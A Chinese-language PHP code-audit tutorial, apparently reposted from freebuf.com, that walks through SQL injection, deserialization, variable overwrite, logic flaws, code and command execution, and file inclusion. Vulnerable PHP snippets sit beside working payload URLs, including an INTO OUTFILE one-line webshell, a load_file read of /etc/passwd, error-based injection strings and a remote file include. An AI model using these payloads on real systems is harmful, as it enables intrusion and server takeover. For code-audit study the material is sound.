代码审计基础知识点 – 作者:Hicode

注入漏洞

解决方案:addslashes()和mysql_[real_]escape_string()函数
load_file():读取文件
前提:知道文件的绝对路径、能够使用union查询、对web目录有写权限
union select 1,load_file('etc/passwd'),3,4,5#
union select 1,load_file(0x2f6574632f706173737764),3,4,5#
0x2f6574632f706173737764 <=> etc/passwd
路径没有加单引号的必须转换16进制;省略单引号必须转换16进制

into outfile:写入文件
            前提:文件名必须是全路径(绝对路径)、用户必须有写文件的权限、没有对单引号'过滤
            `select '<?php phpinfo(); ?>' into outfile 'C:\Windows\tmp\test.php'`
            `select '<?php @eval($_POST["hack"]); ?>' into outfile 'C:\Windows\tmp\test.php'`
            路径里面 \\ 可以换成 /
            PHP语句没有单引号,必须转换16进制;省略单引号,必须转换16进制
            建议一句话木马转换16进制

    MySQL报错注入:
            ①floor():向下取整,只保留整数部分 
                    `Payload:https://127.0.0.1/test.php?id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)`
            ②extractvalue():对xml文档进行查询     
                    `Payload:https://127.0.0.1/test.php?id=1 and (extractvalue(1,concat(0x5c,(select user()))))`             0x5c <=> '\
            ③updatexml():更新xml文档
                    `Payload:https://127.0.0.1/test.php?id=1 AND (updatexml(1,concat(0x5e24,(select user()),0x5e24),1))`             0x5e24 <=> '^
            ④其他函数`GeometryCollection()、polygon()、multipoint()、multilinestring()、multipolygon()、linestring()、exp()`

反序列化漏洞

__toString() 当对象被当作字符串输出时自动调用
-> 变量赋值
特殊写法: <=>
常见函数:
FILE获取当前文件路径
show_source() 显示文件源码
print_r() 可以输出非字符串
常见魔术方法:
__construct() 对象创建时自动调用
__destruct() 对象销毁时自动调用
__wakeup() 使用unserialize()函数时自动调用

变量覆盖漏洞

场景:$$、extract()、parse_str()、import_request_variables()
解决方案:不进行变量注册;直接用原生的$_GET、$_POST、$_COOKIE等数组进行操作;需要注册个别变量,直接在代码中定义变量,然后在请求中赋值

$$:
            `<?php
                    foreach(array('_COOKIE','_POST','_GET') as $_request){
                            foreach($$_request as $key => $_value){
                                    echo $_key;
                                    $$_key = addslashes($_value);
                            }
                    }
                    echo $a;
            ?>`
    `Payload:https://127.0.0.1/test.php?a=1`
    执行结果:a     1

    extract():将数组中的键值对注册成变量(从数组中将变量导入到当前的符号表)
    语法:int extract( array &$var_array[, int $extract_type = EXTR_OVERWRITE[,string $prefix = NULL]])  
            最多3个参数【第一个参数是必须的,导致变量覆盖的由第二个参数决定】
            ①第二个参数为 EXTR_OVERWRITE,表示如果有冲突,则覆盖已有的变量;
            ②只传入第一个参数,这时默认为 EXTR_OVERWRITE模式;
            ③第二个参数为EXTR_IF_EXISTS,表示当前符号表已有同名变量时,覆盖它们的值,其他的都不注册新变量
            `<?php
                    $b = 2;
                    $a = array('b' =>'1');
                    extract($a);
                    print_r($b);
            ?>`
    `Payload:https://127.0.0.1/test.php`
    执行结果:1

    parse_str():解析字符串并注册成新变量(在注册变量前不会验证当前变量是否已经存在)
    语法:void parse_str(String $str[,array &$arr])
    第一个参数$str是必须的,代表要解析注册成变量的字符串,形式为"a = 1",经过parse_str()函数之后会注册成变量$a并赋值为1
    第二个参数$arr是一个数组,当第二个参数存在时,注册的变量会放到这个数组里,如果这个数组原来存在相同的键(key),则会覆盖掉原有的键值
            `<?php
                    $b =1;
                    parse_str('b = 2');
                    print_r($b);
            ?>`
    `Payload:https://127.0.0.1/test.php`
    执行结果:2

    import_request_variables():将GET、POST、COOKIE的参数注册成变量,用于register_globals被禁止时,PHP4.1至5.4(建议不开启register_globals、不使用import_request_variables())
    语法:bool import_request_variables(string $types[,string $prefix])
    第一个参数$types代表要注册的变量,G <=> GET、P <=> POST、C <=> COOKIE;当$types为GPC时,会注册GET、POST、COOKIE参数为变量
    第二个参数$prefix为要注册的变量前缀
            `<?php
                    $b = 1;
                    import_request_variables('GP');
                    print_r($b);
            ?>`
    `Payload:https://127.0.0.1/test.php?b=2`
    执行结果:2

逻辑处理漏洞

场景:in_array()、is_numeric()、==和===、未exit()、die()或return()

in_array():判断一个值是否在某一个数组列表里
    语法:in_array('b',array('a','b','c'))
    in_array()比较前自动类型转换
            `<?php
                    if (in_array($_GET['typeid'],array(1,2,3,4))){
                            $sql = "select ...... from where typeid=' " .$_GET ['typeid'] ." ' ";
                            echo $sql;
                    }
            ?>`
    `Payload:https://127.0.0.1/test.php?typeid=1' union select ......`
    执行结果:select ...... where typeid= '1' union select ...'(绕过检查并注入)

    is_numeric():判断一个变量是否为数字;通过检查返回true,未通过返回false
    传入的参数为hex直接通过并返回true;MySQL可以直接使用hex编码代替字符串明文
            `<?php
                    if(is_numeric($_GET['var'])){
                            $sql = "insert into xx values('xx',{$_GET[''var']})";
                            echo $sql;
                    }
            ?>`
            "<script>alert(1)</script>"的hex编码为"0x3c7363726970743e616c6572742831293c2f73636970743e"
    `Payload:https://127.0.0.1/test.php?var=0x3c7363726970743e616c6572742831293c2f73636970743e`
    输入语句效果等同于:insert into xx values('xx','<script>alert(1)</script>')

    ==和===:==在判断等于之前会先做变量类型的转换,===不会
            `<?php
                    var_dump($_GET['var0'] == 2);
                    var_dump($_GET['var1] === 2);
            ?>`
    `Payload:https://127.0.0.1/test.php?var0=2a             https://127.0.0.1/test.php?var1=2a`
    执行结果:bool(true)                                                    bool(false)

    未exit()、die()或return():
            `<?php
                    if(file_exists('install.lock')){
                            //程序已经安装,跳转到首页
                            header("Location:../");
                    }
                    //进入安装流程
            ?>
            <?php
                    if($_GET['var'] === 'aa'){
                            //程序已经安装,跳转到首页
                            header("Location:../");
                    }
                    echo $_GET['var'];
            ?>`
    `Payload:https://127.0.0.1/test.php?var=aa`
    执行结果:aa
    解决方案:header()后exit()或die()

代码执行漏洞

场景:eval()、assert()、preg_replace()、动态函数执行
call_user_func()、call_user_func_array()函数的功能是调用函数,多用在框架里面动态调用函数
array_map()函数的作用是调用函数并且处第一个参数外其他参数为数组,通常会写死第一个参数,即调用的函数
命令执行函数{system()、exec()、shell_exec()、passthru()、pcntl_exec、popen()、popen_open()}以及反引号()
解决方案:escapeshellcmd()和escapeshellarg()
escapeshellcmd():过滤整条命令 string escapeshellcmd(string $command)
参数string为要过滤的命令,返回过滤后的string类型的命令
过滤的字符串为’&’,’;’,”,’|’,’*’,’?’,’~’,'<‘,’>’,’^’,'(‘,’)’,'[‘,’]’,'{‘,’}’,’$’,”,’\x0A’,’\xFF’,’%’,’ ‘ ‘,’ ” ‘ //仅仅在不成对时被转义
<?php echo(escapeshellcmd($_GET['cmd'])); ?>
Payload:https://127.0.0.1/test.php?cmd=whoami(
执行结果:whoami^(
escapeshellarg():保证传入命令执行函数里面的参数确实是一字符串参数形式存在,不能被注入
将参数限制在一对双括号里,确保参数为一个字符串,会把双引号替换为空格
<?php echo 'ls'.escapeshellarg('a"'); ?>
Payload:https://127.0.0.1/test.php
执行结果:ls a

eval()和assert()函数:
            `<?php
                    $a = 'aaa';
                    $b = 'bbb';
                    eval('$a = $b');
                    var_dump($a);
            ?>`
    `Payload:https://127.0.0.1/test.php`
    执行结果:string(3)"bbb"

    preg_replace()函数:对字符串进行正则处理
    语法:mixed preg_replace(mixed $pattern,mixed $replacement,mixed $subject[,int $limit = -1[,int &$count]])
    搜索$subject中匹配$pattern的部分,以$replacement进行替换,而当$pattern处即第一个参数存在修饰符/e时,$replacement的值会被当成PHP代码执行
            `<?php
                    preg_replace("/\[(.*)\]/e",'\\1',$_GET['str']);
                    //从$_GET['str']变量里搜索括号[]中间的内容作为第一组的结果,preg_replace()函数的第二个参数为'\\1'代表这里用第一组结果填充,这里可以直接执行代码
            ?>`
    `Payload:https://127.0.0.1/test.php?str=[phpinfo()]`
    执行结果:PHP Version 5.3.28

    call_user_func()函数:调用函数并且第二个参数作为要调用的函数的参数
    语法:mixed call_user_func(callable $callback[,mixed $parmeter[,mixed $..]])
            `<?php
                    $b= "phpinfo()";
                    call_user_func($_GET['a'],$b);
            ?>`
    `Payload:https://127.0.0.1/test.php?a=assert`
    执行结果:PHP Version 5.3.28

    动态函数执行:PHP特性-PHP的函数可以直接由字符串拼接
            `<?php
                    $_GET['a']($_GET['b']);
            ?>`
    `Payload:https://127.0.0.1/test.php?a=assert&b=phpinfo()`
    执行结果:PHP Version 5.3.28

    命令执行函数{system()、exec()、shell_exec()、passthru()、pcntl_exec、popen()、popen_open()}以及反引号(`):
    system()、exex()、shell_exec()、passthru()以及反引号(`)可以直接传入命令并且函数会返回执行结果

    system():函数会直接回显结果打印输出,不需要echo()也可以
            `<?php
                    system('whoami');
            ?>`
    `Payload:https://127.0.0.1/test.php`
    执行结果:desktop-htl6dmj\hackerone

    pcntl()函数:是PHP的多进程处理扩展
    语法:void pcntl_exec(string $path[,array $args[,array $envs]])
    $path为可执行程序路径,如果是Perl或Bash脚本,则需要在文件头加上#!/ bin/bash来标识可执行程序路径,$args表示传递给$path程序的参数,$envs则是执行这个程序的环境变量

    popen()、popen_open()函数:不会直接返回执行结果,而是返回一个文件指针,但命令已经执行
    popen()函数需要两个参数,一个是执行的命令;另一个是指针文件的连接模式,有r、w代表读和写
            `<?php
                    popen('whoami >>D:/1.txt','r');
            ?>`
    执行结果:在D盘根目录看到1.txt文件,内容为WebServer用户名

    反引号(`)命令执行:实际上反引号(`)执行命令是调用的shell_exec()函数
            `<?php
                    echo whoami;
            ?>`
    `Payload:https://127.0.0.1/test.php`
    执行结果:desktop-htl6dmj\hackerone
    在php.ini文件中把PHP安全模式打开,重启WebServer重新加载PHP配置文件,再执行访问代码
    `Payload:https://127.0.0.1/test.php`
    执行结果:`Warning:shell_exec()[function.shell_exec]:Cannot execute using backquotes in Safe Mode in D:\www\test.php on line 2`
    这个提示说明反引号(`)执行命令的方式是使用的shell_exec()函数

文件包含漏洞(LFI + RFI)

本地文件包含(LFI-local file include)、远程文件包含(RFI-remote file include)
场景:include()、include_once()、require()、require_once() 【_once后缀表示包含一次】
include()和include_once()在包含文件时即使遇到错误,下面的代码依然会执行
require()和require_once()在包含文件时遇到错误,会直接报错退出程序

本地文件包含(LFI-local file include):
            `<?php
                    define("ROOT",dirname(__FILE__).'/');
                    //加载模块,在同目录下2.php写入<?php phpinfo();?>
                    $mod = $_GET['mod'];
                    echo ROOT.$mod.'.php';
                    include(ROOT.$mod.'.php');
            ?>`
    `Payload:https://127.0.0.1/test.php?mod=2`
    执行结果:PHP Version 5.3.28

    远程文件包含(RFI-remote file include):
            `<?php
                    include($_GET['url']);
            ?>`
            远程主机remotehost:2.txt         `<?php phpinfo();?>`
    `Payload:https://127.0.0.1/test.php?url=http://remotehost/2.txt`
    执行结果:PHP Version 5.3.28

来源:freebuf.com 2021-02-03 17:13:02 by: Hicode

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论